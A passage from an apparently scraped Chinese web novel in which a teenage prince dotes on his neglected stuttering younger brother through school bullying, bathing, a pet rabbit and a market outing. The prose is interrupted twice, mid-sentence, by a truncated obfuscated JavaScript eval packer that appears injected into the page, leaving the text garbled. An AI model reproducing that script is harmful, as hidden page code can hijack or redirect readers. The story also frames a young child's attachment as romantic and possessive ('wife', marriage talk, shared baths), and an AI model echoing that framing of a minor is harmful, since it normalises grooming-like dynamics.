话音刚落,谢玉阑就蹭得愈发起劲,他笑得大方,眼睛也弯成了月牙形。明明才几天,却熟稔地好像生来就是谢临沅带大的一般。 谢临沅垂眸,敛住眼里的思绪,他继续翻动起竹简,温声对身边人说道:“若是困了,便告诉皇兄。” “好、好。”谢玉阑发觉了谢临沅眼底一闪而过不同寻常的情绪,可他却看不懂。 若是他聪明点,便能发觉少年眼底藏着一丝难以觉察的偏执,像是薄冰底下的暗流,寂静而固执地涌动。 一炷香后,卧房的门突然被敲响,孟九尘的声音在门外响起:“殿下,明日就是回学堂的日子了,奴才将明日要穿的衣服带来了。” 谢临沅翻动竹简的指尖一顿,这几日来他竟忘了这事。 谢玉阑养在他身边的这段日子他忘乎所以,只顾着怎么把小孩养的白白嫩嫩。 他将手中的竹简搁置在书案上,对门外之人说道:“进来。” 门被打开,孟九尘拿着一身黑金色的衣袍进来,放在衣架上。 见桌案前的烛火摇曳,孟九尘说道:“殿下,时辰不早了,该睡了。明日还要早起去学堂。” 谢临沅合上竹简开口:“晓得了。” “那奴才退下了。”孟九尘行礼后便关上门离开了。 谢临沅起身,单手将已经趴在贵妃椅上梦周公的谢玉阑抱进怀里。 手臂上的重量不重,还是太轻了。 谢临沅垂眸,暗暗想到。 许是谢临沅抱起谢玉阑时的颠簸,谢玉阑迷迷糊糊地醒了,他睁开眼,抓住谢临沅的衣襟,下意识喊道:“皇、皇兄。” “皇兄在,玉阑睡觉吧,皇兄也要睡了。” 谢临沅将谢玉阑放在床的内侧,随后开始褪衣。 等到谢临沅躺到床上时,谢玉阑已经又睡了过去。 他的唇翕张着,不停汲取着空气,谢临沅的胳膊搭在谢玉阑腰间,将人搂进了自己怀中。 守在门外值夜的宫人走进来将烛火熄灭,屋内陷入一片昏暗。 两人依偎着睡去。 次日卯时,谢临沅醒来,轻手轻脚地掀开被子起床。 他不喜有人触碰自己,便也没安排宫女为自己着衣,只是自己穿着上学堂时的衣服。 明明他的动静已经足够小了,却也不知为什么吵醒了谢玉阑。 “皇、皇兄。”谢玉阑声音慢吞。 谢临沅将衣服整理好,坐在床沿看着睡眼惺忪的谢玉阑,他捏了捏谢玉阑长了点肉的脸颊,说道:“怎么醒了。” 谢玉阑揉了揉困倦的眼睛,回道:“皇、皇兄...不、不、不在。” 谢临沅笑了,问道:“前几日皇兄不在怎么没醒?” 谢玉阑皱着小脸,被谢临沅这么一问,颇有委屈:“因、因为...玉阑、阑醒、醒的、的时候,皇、皇兄总是、是不在。” 谢临沅一怔。 他确实醒的早,平日回到寝殿时谢玉阑已经醒了,乖乖坐在正堂饭桌上吃着早食。 谢玉阑也从未说过这件事,若不是谢临沅这么一问,谢玉阑恐怕还要咽在心里良久。 只是谢临沅也没想到谢玉阑这么依赖自己。 心里某块阴暗的凹陷突然得到了爽利的满足。 他将谢玉阑抱在自己腿上坐着,解释道:“皇兄起的早,有事要去做,今日是要去学堂了,申时才回来。所以玉阑在宫中和宫女姐姐玩好不好?” 谢临沅解释了,谢玉阑皱着的小脸也舒展开来,可听到后面,谢玉阑的小脸又皱了起来,被瞌睡虫灌满的脑子也清醒起来。 他着急忙慌地揪住谢临沅的衣襟,竟将泪水急了出来,透明水渍挂在他的羽睫上,便听见谢玉阑磕磕绊绊说道:“皇、皇兄...不、不走。” 谢临沅没想到谢玉阑会难受成这样。 可仔细想想,谢玉阑现在唯一能信任的人便是自己,这几日谢临沅几乎没离过谢玉阑的身,猛地一整个白日见不到谢临沅,谢玉阑必是要难受的。 眼前漂亮的孩子吸着鼻子,无声地掉着眼泪,手指小心翼翼地拉着谢临沅的衣襟,好像生怕谢临沅突然不要自己了。 谢临沅的心骤地软了下去,他用指腹抹去谢玉阑脸颊上的两行泪,看着眼中还含着泪水的谢玉阑,他抱着孩童的动作紧了紧。 一截雪白的手帕出现在谢玉阑眼前,谢临沅动作轻柔地给谢玉阑擦着泪,待谢玉阑脸颊擦拭干净,谢临沅又抱着谢玉阑去洗漱。 平日都是宫女给谢玉阑做的这一切,今日却换成了谢临沅。 谢玉阑难免高兴,却又在下一秒觉得这是皇兄要丢下自己的前奏。 他的眼睛又酸涩了起来。 谢临沅只是一秒没注意,就见谢玉阑的眼睛又红了,一滴眼泪要落不落。 他捧住谢玉阑的脸:“玉阑怎么了?” “别、别不要、要玉阑。”谢玉阑眼眶通红神色黯淡,做着最后的挽留。 谢临沅拿小帕子给谢玉阑擦着泪:“皇兄怎么会不要玉阑?” 谢玉阑瘪着小嘴,说道:“母、母亲离离开、玉、玉阑、阑的、的时候,也、也给、玉阑、阑洗脸、脸、沐浴。” 谢临沅总算明白了谢玉阑的不安。 他怕谢临沅也像宁庶人那样丢下自己,从此谢玉阑真正地变成了一个人。 知晓怎么说都无法使谢玉阑安心,谢临沅也舍不得让谢玉阑一个人在宫中想着自己,于是他给谢玉阑穿上一身新衣裳,将人抱在怀里:“皇兄带你一起去学堂好不好?” 谢玉阑顿时变得开心了不少,他猛地在谢临沅脸上亲了一口:“好!” 孟九尘进来时看见的就是这般场景,谢玉阑双腿环在大皇子腰间,对着殿下的脸就亲了一口。 他没想到谢临沅这么喜欢这个弟弟。 他晓得谢临沅不喜外人亲近他。 “殿下,该放下小殿下了,是时候去学堂了。”孟九尘抱着拂尘说道。 谢临沅放下了谢玉阑,弯下腰小声对谢玉阑说道:“皇兄拉着玉阑走好不好?” “好。”谢玉阑也小声应道。 孟九尘没听见大殿下和小殿下说了些什么,就见下一秒谢临沅直起身,开口:“我带着小殿下一起去。” 见谢临沅神色认真,孟九尘也没劝。 毕竟上头那个不也说了,让大殿下教小殿下,去学堂上太傅教也是一般的。 谢临沅牵着谢玉阑的小手,踏着青石板走到学堂内。 里面都是皇族子弟、贵族子女及部分官员子女,见谢临沅进来,连忙都停下自己的动作,对谢临沅齐齐喊道:“大殿下好!” 谢临沅颔首,表示自己应下了。 此时,不少人的视线已经落在了谢临沅身侧的小不点身上,他们都听自己母妃说了,冷宫那个自戕的宁庶人的孩子,也就是八皇子,被养在了皇后膝下。 如今也算是嫡皇子了。 不少人都是嫉妒的,毕竟他们也知晓,这八皇子就是个傻子,就因为得了谢临沅青睐,飞上枝头变了凤凰。 谢玉阑却没察觉那些视线,他满心满眼都是他具有威望的皇兄,也学着那些人甜甜喊道:“皇兄好!” 那些皇子也听见,于是便看见,他们一向温润却不爱人近身的大皇兄弯下腰,揉了揉那个傻子的脸,笑道:“玉阑也好。” 不远处,有两个少年银牙都要咬碎了。 清晨的宫学里,檀香袅袅,书声琅琅。 谢临沅端坐在案前,指尖轻点《礼记》的竹简,神色淡然。而在他身侧,谢玉阑正小心翼翼地捧着书卷,一个字一个字地跟着念:“礼、礼之用,和、和为贵...” 他的声音又轻又软,像是怕惊扰了旁人似的,念得磕磕绊绊,时不时还要偷瞄一眼谢临沅,生怕自己读错了又没有杏脯吃。 谢临沅察觉到他的目光,唇角微弯,伸手揉了揉他的发顶:“我们玉阑念得很好。” 谢玉阑得了夸奖,眼睛亮晶晶的,嘴角抿出一个小小的弧度,又低头继续念。 他的声音温吞,却眼也不眨地盯着书卷。 然而,他这般乖巧的模样落在旁人眼里,却成了嘲弄的对象。 等到了下课,谢玉阑便坐在自己的小椅子上盯着谢临沅写字,谢临沅的字和他的人却大不相同,劲道有力,如同野蛮生长的青竹。 即使谢临沅表现出自己对谢玉阑的喜爱,却也总有人想要试探谢临沅的底线。 “啧,这不是冷宫的小八吗?怎么混进学堂来了?”三皇子谢瑾嗤笑一声,故意提高了声音。 “听说还是大皇兄亲自教他读书呢,可惜啊,脑子不好使,教了也是白教。”五皇子谢瑜附和道,眼神轻蔑地扫过来。 谢瑾和谢瑜都是如今的沈贵妃所生,他们都没得到的嫡子身份却被一个庶人的孩子得了去,两人自然是不服嫉妒地发狂。 谢玉阑自然听见了,手指微微发抖,书页被他攥得发皱。他不敢抬头,只是往谢临沅身边靠了靠,像是寻求庇护的小兽。 谢临沅知道这两个皇弟的心思,只是没想到这两人竟然当着自己的面这般讥讽谢玉阑,想必也是想试探一下谢玉阑的地位。 他原本温和的神色骤地变了,少年眸色微冷,抬眸扫了一眼那两人,淡淡道:“三弟、五弟,若是闲得慌,不如多背几篇《论语》,免得待会儿夫子抽查时答不上来。” 谢瑾被他噎了一下,脸色微变,却不敢再说什么,只得悻悻地闭了嘴。 而谢瑜则是恶狠狠瞪了一眼谢玉阑,甩袖离去。 谢玉阑松了一口气,悄悄拽了拽谢临沅的袖子,小声道:“皇、皇兄、我、我是不是、是给你丢脸了?” 谢临沅垂眸看他,伸手捏了捏他的脸颊:“胡说什么?你很好。” 谢玉阑眨了眨眼,眼眶微微发热,心里那股难受才稍稍散去。 午时刚过,夫子却忽然将谢临沅叫了出去,说是太傅有要事相商。 谢临沅临走前,捏了捏谢玉阑的手心,低声道:“乖乖待着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他眸色骤冷,抬眼看向谢瑾和谢瑜,声音冷淡:“你们眼中可还有规矩?” 谢瑾被他看得后背发凉,没想到谢临沅回来的这么快,他强撑着笑意道:“大皇兄,我们只是跟他开个玩笑...” “玩笑?”谢临沅冷笑一声,抬手直接攥住谢瑾的衣领,“那我是不是也可以跟你开个玩笑?” 谢瑾吓得脸色发白,结结巴巴道:“大、大皇兄,我错了......” 谢临沅盯着他看了半晌,最终松了手,冷冷道:“滚。” 谢瑾和谢瑜如蒙大赦,慌忙逃出了学堂。 谢临沅这才低头看向怀里的谢玉阑,指腹轻轻擦去他脸上的泪痕,低声道:“疼不疼?” 谢玉阑摇摇头,又点点头,眼泪却掉得更凶。他攥着谢临沅的衣襟,小声道:“书、书坏了。” 谢临沅这才注意到地上那本被踩烂的《礼记》。他弯腰捡起来,轻轻拍了拍上面的灰尘,温声道:“无妨,我再给你一本新的。” 谢玉阑这才稍稍安心,可眼眶还是红红的,像是受了天大的委屈。 谢临沅眸色微暗,忽然牵起他的手:“走,我带你去见父皇。” 御书房内,皇帝听完谢临沅的陈述,眉头紧锁。 “谢瑾和谢瑜当真如此放肆?” 谢临沅垂眸,语气平静:“儿臣不敢妄言,玉阑手上的伤便是证据。” 皇帝看向谢玉阑,见他手腕上的红痕尚未消退,眼中闪过一丝不悦。他沉吟片刻,道:“传朕口谕,三皇子和五皇子禁足半月,抄写《弟子规》百遍,以儆效尤。” 谢临沅行礼:“谢父皇。” 谢玉阑也跟着笨拙地行礼,小声道:“谢、谢父皇。” 皇帝看着小八乖巧的样子,神色缓和了些:“临沅既然带着玉阑入了学堂,那日后便让他同你一齐跟着陈太傅学。” 谢临沅点点头,应下。 离开御书房后,谢玉阑的情绪明显好了许多。他亦步亦趋地跟着谢临沅,时不时偷瞄他一眼,像是怕他生气似的。 谢临沅察觉到他的目光,忽然停下脚步,转身看他:“怎么了?” 谢玉阑抿了抿唇,小声道:“皇、皇兄、是不是、生、生气了?” 谢临沅挑眉:“为何这么问?” 谢玉阑低下头,手指绞着衣角:“因为、因为我、惹、惹麻烦了......” 谢临沅轻笑一声,伸手揉了揉他的发顶:“不是你惹的麻烦,是他们欠教训。” 谢玉阑眨了眨眼,心里那股闷闷的感觉终于散了些。 回宫的路上,谢临沅忽然带着谢玉阑出宫,拐进了西市的坊间。 谢玉阑好奇地跟着他,直到停在一家卖宠物的摊子前。 笼子里关着几只雪白的兔子,正低头啃着菜叶。 谢临沅指了指其中一只最活泼的,对摊主道:“要这只。” 谢玉阑睁大眼睛,呆呆地看着谢临沅付了钱,然后将那只兔子抱过来,递到他面前。 “给你的。” 谢玉阑愣愣地接过,小兔子在他怀里动了动,耳朵抖了抖,蹭得他手心发痒。他看着兔子在自己怀里的样子,忍不住揉了揉兔子的耳朵。 “喜、喜欢...”他小声说着,将脸埋进兔子柔软的毛发里,偷偷蹭了蹭。 谢临沅看着他这副模样,唇角微弯,伸手捏了捏他的耳垂:“以后若是有人欺负你,就告诉我,知道吗?” 谢玉阑用力点头,怀里抱着兔子,心里像是被什么东西填得满满的,暖烘烘的。 回宫的路上,夕阳将两人的影子拉得很长。谢玉阑一手抱着兔子,一手悄悄拽住谢临沅的袖子,小声道:“皇兄、最、最最、好了……” 谢临沅低笑一声,反手握住他的手指,十指相扣。 “嗯,只对我们玉阑好。” 5. 捡到老婆第5天 自从回到宫中,谢玉阑杏脯也不闹着吃了,也不找宫女姐姐了,一心扑在了小兔子上。 小兔子被放在谢玉阑专属的小桌案上,雪白的毛一抖一抖的。 谢玉阑双手撑着脸颊,看着小兔子的耳朵,突然伸出一只手,用掌心贴上长长的垂耳。 他的指尖在兔子绒毛上打着转,时不时捏捏小兔子的耳朵肉。 小兔子也不怕他,主动将耳朵往谢玉阑掌心蹭。 谢临沅回到正堂时看见的就是这番情景。 谢玉阑穿着一身月白色的衣衫,和那桌上的兔子竟有几分相像。 “玉阑。”谢临沅开口。 听到皇兄的声音,谢玉阑快速收回了手,跳下凳子走到谢临沅身边,刚刚摸了兔子毛的小手抓住眼前人的小指晃了晃。 “怎么了?”谢临沅将人抱起,让小兔子坐在自己小臂上。 谢玉阑眨眨眼,伸出指尖指着桌上的小兔子:“兔、兔子。” 谢临沅如同谢玉阑腹中的蛔虫一般,走到桌前将小兔子放进谢玉阑怀里。 于是谢临沅怀里抱着他的小兔子,他的小兔子又抱着另一只小兔子。 谢玉阑呼噜着小兔子的毛,低下头想要在兔子身上亲一口,还没等亲到,就被人捏住了后脖颈。 下一秒,谢玉阑就听见他皇兄的声音在自己耳后响起:“兔子没沐浴,很脏。” 方才在宫外,谢玉阑趁着他没注意在兔子身上蹭就罢了,反正刚刚自己给谢玉阑擦了小脸,可谢玉阑如今却想亲兔子是万万不可的。 且不说兔子是脏的,没洗澡上面也是有传染物的,说不准就会让谢玉阑患病。 谢临沅可不想还没把人养好便又生了病。 他心都要疼死。 谢玉阑知晓皇兄是在关心自己,于是只能舍远求近地摸了摸兔子的耳朵。 谢临沅揉着怀中人的脸颊,温声说道:“把兔子给宫女姐姐拿去洗干净好不好?” “好。”谢玉阑点着小脑袋,乖乖听皇兄的话。 “剪春。”谢临沅朝屋外唤道。 木门发出厚重的声音,剪春从门外进来,朝着谢临沅行礼:“殿下。” “把小殿下怀里的兔子拿去洗干净。”谢临沅吩咐道。 剪春颔首,走到谢玉阑跟前,伸出双手:“劳小殿下把兔子给奴婢。” 谢玉阑又摸了几把兔子毛才将兔子递给剪春。 “现在小兔子拿去沐浴了,我们玉阑也该沐浴了。”谢临沅说道。 夏日热,几乎是每日都要沐浴的,前几日都是剪春给谢玉阑沐浴的,如今剪春走了,谢临沅竟一时找不到合适的人选。 谢临沅身边的一等宫女只有剪春一人,他不喜身边有太多的女子,平日剪春的活只有打扫房间,如今谢玉阑来了,才忙活了起来。 剪春心细,将谢玉阑照顾的好。 其他的都是五大三粗的侍卫和太监,谢临沅不放心将谢玉阑交给那些人。 思来想去,谢临沅心中竟没一个人选。 “孟九尘呢?”谢临沅抱着谢玉阑走到门前,问站在门口的小太监。 小太监回道:“启禀殿下,孟公公有事去学堂了。” 谢临沅这才想起他不久前让孟九尘去学堂查一下当时谢玉阑被欺负时有哪些人视而不见。 “孟九尘将药膏带回来了吗?”谢临沅问道。 小太监点点头,递出放在袖中的药膏。 谢临沅单手接过,回到正堂的桌前坐下。 “玉阑和皇兄一同沐浴可好?”谢临沅将药膏放在桌上。 药膏是深绿色的,散发出一股深邃刺鼻的气息。 谢玉阑还从未和谢临沅一起沐浴过,闻言他眼睛亮了一瞬,连忙点头。 谢临沅抱着谢玉阑进入了后殿的水池中。 谢临沅拿起谢玉阑那只被谢瑾掐出血丝的手臂,指腹轻轻贴了一下,柔声问道:“是不是很疼?” 谢玉阑前十年什么伤都受过,被宫女欺负过,也被小太监打过。甚至有时饿极了他只能去捡别人的剩菜馒头吃。 身体的疼痛对他来说已经是家常便饭,即使再痛他也学会了忍气吞声。 没有人会向着他。 可谢临沅这么一说,一行清泪顿时从孩童清澈的双眸中溢出。 “疼...”他无声哭着,举起自己的胳膊到谢临沅眼前,哽咽说道。 “皇兄...疼、疼。”谢玉阑几乎用气声说出的这句话。 谢临沅呼吸一滞。 原本铁石心肠的心近来频繁软得厉害。 他举着孩童白皙纤瘦的手臂,像是对待什么珍宝一般,动作轻柔地在伤口上吻了一下。 随后轻轻朝上面吹气:“皇兄吹吹就不疼了。” 谢玉阑吸着鼻子,生平头一次在除娘亲以外的人身上体会到了爱。 于是他也没顾着是在水里,猛地一下扑进谢临沅怀中,水花因着谢玉阑并不收敛的动作溅起。 孩童的小脸搭在谢临沅并不单薄的肩头,他的脸颊在少年的肌肤上蹭着:“皇、皇兄。” 谢临沅的掌心盖在谢玉阑的伤口上,不让这儿沾上丝毫水渍。 他拿起放在水池一侧的泽兰水,淋到谢玉阑头上,仔细为谢玉阑洗着头发。 待两人沐浴完,谢临沅为谢玉阑穿上里衣,挽起孩童的衣袖,将人抱到桌前仔细抹着药。 这药刺激,刚擦上谢玉阑口中就发出轻嘶声。 “疼?”谢临沅停下动作,抬眸看着谢玉阑。 谢玉阑点点头:“疼。” “孟九尘。”谢临沅朝门外喊道。 “奴才在。” “明日去太医院要不刺激伤口的药物,今日的药物不行。” “奴才知晓了。” 吩咐完,谢临沅又低头看着谢玉阑,温声安抚道:“玉阑的伤口得抹药才能好,今日先擦这个药好不好?” 在谢玉阑眼里,皇兄的话都是为了自己好,于是他点点头,咬着下唇鼓起勇气抬起自己的胳膊,对谢临沅说道:“皇、皇兄、给、给。” 谢临沅的心软了一片,怕谢玉阑疼,动作轻缓地为谢玉阑抹着药。 翌日。 清晨的露珠还未散尽,谢临沅便带着谢玉阑往宫学走去。谢玉阑怀里抱着已经洗尽雪白的兔子,小脸埋在兔毛里蹭了蹭,又抬头看向谢临沅:“皇兄,兔、兔子饿了......” 谢临沅从袖中取出一小把嫩青菜叶递给他:“慢些喂,别让它吃撑了。” 谢玉阑点点头,小心翼翼地掰开菜叶,一点一点喂给兔子。兔子三瓣嘴一动一动,吃得欢快,谢玉阑看得眼睛弯成了月牙。 两人刚走到学堂门口,便听见里面传来一阵嬉笑声。 “听说了吗?镇国公府的嫡长女下月就要成亲了!”一个锦衣少年摇着扇子,满脸得意,“我兄长可是亲眼见过那位小姐,说是貌若天仙!” “成亲?”谢玉阑耳朵一动,仰头看向谢临沅,小声问,“皇兄,成、成亲、是、是什么?” 谢临沅脚步一顿,垂眸看他:“就是两个人要永远在一起生活。” 谢玉阑眨了眨眼,忽然抱紧了怀里的兔子:“那、那我要、要和兔、兔子成、成亲!” 谢临沅竟难得不知道说些什么。 学堂里瞬间爆发出一阵哄笑。 有些人不知晓昨日宫学发生的事,也不知道这孩子是八皇子。 “哈哈哈你们听见没?这小孩要娶只兔子!” 谢玉阑被笑声吓得往谢临沅身后躲了躲,却不小心踩到自己的衣摆,扑通一声摔坐在地上。兔子从他怀里跳出来,一溜烟钻到了书案底下。 谢临沅脸色骤冷,目光扫过那几个哄笑的世家子弟:“很好笑?” 笑声戛然而止。 他们还不知自己做错了什么,便听身侧人扯着衣袖低声说道:“这是八殿下!如今在皇后娘娘膝下承欢。” 昨日三皇子和五皇子因为欺负八皇子被罚抄弟子规百遍的消息早已传开,谁也不敢在这个时候触霉头。 那几个世家子弟连忙道歉噤声。 谢临沅弯腰将谢玉阑扶起来,又去书案下捉那只受惊的兔子。兔子蹬着后腿不肯出来,谢玉阑急得眼眶发红:“兔、兔子不喜欢我了......” “不会,”谢临沅单手撑地,半个身子探进案底,衣袍沾了灰也浑不在意。好不容易捉到兔子,他掸了掸衣袖,将兔子放回谢玉阑怀里。 “它只是吓着了。” 谢玉阑紧紧抱住兔子,把脸埋在柔软的兔毛里,闷声道:“我、我不成、成亲了......” 谢临沅失笑,捏着谢玉阑的小脸:“玉阑可以成亲,但是不可以和兔子。” “为、为什么?”谢玉阑懵懵懂懂。 “因为......”谢临沅思索了一下,用最好的法子解释,“它没法给玉阑买爱吃的东西,也不能像皇兄一样陪玉阑说话,给玉阑买兔兔。” 谢玉阑呆住了,显然这个理由对他来说很有说服力。 他把玩着兔子耳朵,愣愣说道:“那、那玉阑、不、不和、兔、兔子成亲了。” “待玉阑有喜欢的姑娘了便告诉皇兄,皇兄会为玉阑提亲的。” 谢玉阑不懂什么是提亲,但听到了熟悉的词汇,他连忙说道:“玉、玉阑,喜欢皇兄。” 谢临沅笑出声,揉着皇弟的耳朵,也没解释,只是说道:“皇兄也喜欢玉阑。” 待谢玉阑长大便明白了,现在没有解释的必要。 午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏绾绾柔声道:“以后他们再欺负你,你就大声喊人,知道吗?” 谢玉阑点点头,表示自己知晓。 待谢临沅回来时,苏绾绾已经走了。他发现谢玉阑眼眶通红,膝盖上还缠着绣帕。问清缘由后,他脸色阴沉得可怕。 “皇兄,不、不生气......”谢玉阑拽了拽他的袖子,“姐、姐姐、帮、帮我、要、要回兔子了......” 谢临沅闭了闭眼,压下怒火。他蹲下身,轻轻揭开绣帕查看伤势。还好只是皮外伤,但看着那渗血的擦伤,他的心还是像被针扎了一样疼。 他本以为昨日的事发生后不会有不长眼的欺负谢玉阑了,却没想到还有。 看来以后得把人绑在自己身边看着了。 “我们回宫。” 回到寝殿,谢临沅亲自给谢玉阑上药。这次的药是孟九尘在太医院新拿的,并不刺激,却也凉凉的,谢玉阑时不时就抖一下,依旧疼得直抽气。 “疼就哭出来。”谢临沅放轻动作。 谢玉阑摇摇头,反而举起兔子给他看:“兔、兔子没事......” 谢临沅喉头发紧,突然将一人一兔都搂进怀里:“皇兄的错,以后不会让玉阑一个人了。” 被温热的怀抱抱在怀里,谢玉阑竟睡着了。 谢临沅为谢玉阑擦完药,将人抱进床上。 看了半个时辰的书,谢临沅听见床榻上传来动静。 他走到床榻边,发现谢玉阑不知何时醒了,正揉着眼睛看他。 “皇兄......”软糯的声音带着睡意,“兔、兔子说要、要和、和我成亲......” 谢临沅失笑:“兔子告诉你的?” 谢玉阑认真点头,又打了个小哈欠:“它、它还说、说、要和、和皇兄一、一起保、保护我......” 谢临沅心头一软,揉了揉谢玉阑的发顶:“好,我们一起保护你。” 月光透过纱窗,在地上投下交叠的影子。 谢玉阑往床里侧挪了挪,给谢临沅腾出位置。谢临沅刚躺下,他就蹭了过来,像只寻求温暖的小动物。 “皇兄......” “嗯?” “我、我以后...”谢玉阑的声音越来越小,“要和皇、皇兄......成、成亲......” 童言无忌,谢临沅隐隐担心谢玉阑真的这么想,想和谢玉阑解释清楚,说他们是亲兄弟,是不能成亲的。 等他低头看去,却发现小家伙已经睡着了,长睫毛在脸上投下浅浅的阴影。他收紧手臂,将人搂得更紧了些。 6. 捡到老婆第6天 待谢玉阑彻底睡着,谢临沅才起身朝卧房外走去。 一轮圆月被四合院的天井圈住,盈盈洁光撒在站在门前的温润少年上。 他敛着眸,对站在自己面前的孟九尘说道:“可是查到了?” 孟九尘还没来得及回答,就见大皇子将食指伸在唇间,示意自己不要说话。 随后他便看着谢临沅小心翼翼地门合上,颔首表示可以了。 孟九尘竟一时忘了自己要说些什么。 皇后前几日还问过自己谢临沅对谢玉阑如何,他本以为大殿下对这小孩只是一时兴起,却没想到是真真上了心的。 但他好歹也有当奴才的素养,一秒就从思绪中抽身,对谢临沅说道:“查到了。” 谢临沅走远,到庭中树下停住步:“说吧。” “二皇子、四皇子也在其中,还有兵部尚书府中的大公子周崇。” 孟九尘又陆陆续续说了几个人名,皆是一些贵族子弟。 谢临沅倒是能理解,毕竟在皇子面前那些贵族子弟也是说不上话的。 但周崇此人... 谢临沅皱紧眉。 他对此人的印象着实不好。 还记得先前宫中的春日宴,此人也趁着酒意调戏了宫中的婢女。 若不是那婢女是淑妃身边的贴身宫女,淑妃派人来寻,怕真是要被周崇给糟蹋了。 兵部尚书这人谢临沅印象也很深,他的姐姐正是宫中的惠妃。 也就是二皇子的生母。 想必周崇今日的行为少不了二皇子的示意。 “你和母后说,兵部尚书之子周崇今日在宫学中当着众人的面欺辱了八皇子,有伤皇室容颜。”谢临沅淡淡说道。 孟九尘是林轻的人,他心下有更多的想法也是不可能和孟九尘说的。 如今他势力单薄,也对兵部尚书做不了什么。 但多少也能警示一番兵部尚书。 孟九尘品出了谢临沅话中的意思,点头应道:“奴才知晓了。” 时辰也不早了,谢临沅怕自己离开久了谢玉阑又醒来,没等孟九尘行礼便转身回去。 孟九尘见谢临沅这般着急,心下彻底了然。 看来大皇子是真喜欢这在冷宫捡到的孩子,喜欢到舍不得离开久一点。 谢临沅并没有出去多久,仅仅只是和孟九尘交代了一番,却没想到谢玉阑还是醒来了。 孩童穿着单薄的里衣,坐床榻上,愣愣盯着没有人的外侧。 谢玉阑有些迷茫,还没等他想清楚皇兄又去哪儿了,便被搂入了带着一丝冷风凉意的怀中。 “是在找皇兄吗?”谢临沅垂眸,看着明显还没清醒的谢玉阑问道。 谢玉阑小脸皱着,努力消化掉谢临沅话的含义,半晌才乖巧点头,拉住谢临沅腰侧的衣料:“找、找皇、皇兄。” 谢临沅将人放平在床榻上,随后自己才躺下,对谢玉阑说道:“皇兄方才有点事出去了一趟。” 谢玉阑整张小脸都埋在谢临沅的怀中,闻言他在谢临沅怀里点着小脑袋。 怀里人不说话,谢临沅垂头,便发现人已睡了过去。 谢玉阑腿上的伤没好,谢临沅便带着谢玉阑告了假,准备带着谢玉阑出宫去玩。 正巧今日天光正好。 他特意换了身月白常服,腰间只悬一枚青玉佩,连惯用的沉香都未熏,整个人清朗得像是寻常世家公子。 谢玉阑却紧张得厉害,从起床就开始结巴:“皇、皇兄,我真的能、能出去吗?” 毕竟自幼便被关在冷宫,谢玉阑一直觉得出宫是不可思议的事情。 “叫兄长,”谢临沅替他系好披风带子,“今日没有皇子,只有谢家两兄弟。” 谢玉阑眨了眨眼,突然伸手摸了摸谢临沅腰间的玉佩:“玉、玉佩。” 语气像是发现了什么了不得的秘密。 谢临沅垂眸看向谢玉阑握着自己玉佩的小手,问道:“怎么了?” 谢玉阑抬起脸,朝着谢临沅抿唇笑着,抬起自己的右手对谢临沅说道:“和、和玉阑是、是一样的。” 两块玉佩贴在一起,竟真有几分相像。 只是谢玉阑的那块很小,谢临沅的这块比谢玉阑的掌心还大。 谢玉阑的那块如乳色洁玉,谢临沅的这块如温润青竹,放在一起格外相称。 谢临沅揉了揉谢玉阑的头发:“这样旁人便可以看出我们是兄弟了。” “是、是兄、兄弟。”谢玉阑重复着谢临沅的话,将两人的玉佩正面紧紧贴在一起。 因为是出宫,谢临沅不愿引人注目,便没有带一个太监宫女,只有暗卫在暗处盯着。 京城闹市,叫卖声此起彼伏。谢玉阑像只刚出笼的雀儿,眼睛根本看不过来。 一会看着不远处的喷火圈,一会又望向神奇的戏法。 “糖——人——嘞!” 这声响极大,很快就吸引到了抱着兔子的谢玉阑。 他一眼就看见了深黄色透明的东西,那东西每个形状都不一样,看上去格外神奇。 谢临沅很快便察觉身侧的人停下了步子,扯了扯自己的衣角。 他低头,问道:“有想要的吗?” 谢玉阑伸手,指向那个黄澄澄的东西。 老匠人摊位前,谢玉阑盯着转盘上的十二生肖移不开眼。谢临沅付了铜钱,老匠人笑呵呵道:“小公子属什么?” 谢玉阑茫然地看向谢临沅。 “兔。”谢临沅代答。 老匠人笑嘻嘻地看了眼谢玉阑怀里的兔子,说道:“小公子这是大兔子和小兔子呀。” 谢临沅揉了揉谢玉阑的头发,说到:“是小兔子和小小兔子。” 谢玉阑没听懂两人的谈话,于是扯着谢临沅的衣角问道:“兄、兄长、在说什么?” 谢临沅弯着眼眸:“在说我们玉阑也是小兔子。” “为、为什么玉、玉阑是、是小、小兔子。”谢玉阑不解。 “因为玉阑是在小兔子的年份出生的。” 谢玉阑低头看了看自己怀里的兔子,指尖绕着兔子耳朵打转,反应了一会才呆呆说道:“那、那我、我和兔、兔子是、是兄、兄弟。” 谢临沅忍俊不禁:“嗯,是兄弟。” 老匠人做过很多次兔子了,很快就做好了,将糖兔做好了。 糖兔做得活灵活现,谢玉阑却舍不得吃,举在手里走了半条街。 天气燥热,热空气流动着,直到糖浆开始融化,谢临沅才哄着他舔了一口。 甜味在舌尖炸开的瞬间,谢玉阑眼睛亮得惊人:“兄、兄长也吃!” 谢临沅就着他的手抿了抿兔耳朵,甜得发腻,却见谢玉阑笑得见牙不见眼,忽然觉得这甜味也没那么难以忍受。 两人走走停停,看了不少东西,很快又停到了一个卖绢花的摊子前。 谢临沅拿起一支并蒂海棠的绢花别在谢玉阑襟前。摊主大娘笑道:“小哥儿生得俊,这花衬你。” 谢玉阑低头嗅那不会香的花,突然说:“给、给兔子也买......” 于是兔子的项圈上多了朵迷你绢花。 谢玉阑看着自己和兔子身上的绢花,又看了眼身上什么都没有的谢临沅,说道:“兄、兄长也、也买。” “那玉阑给皇兄挑一个?” 谢玉阑和那摊子差不多高,看的时候有些勉强,于是谢临沅将谢玉阑抱了起来。 谢玉阑在里面挑挑拣拣,最后给谢临沅挑了玉兰花的绢花,学着谢临沅的动作给谢临沅别了上去。 谢临沅将三朵绢花的钱一并付了,这才拉着谢玉阑往前走。 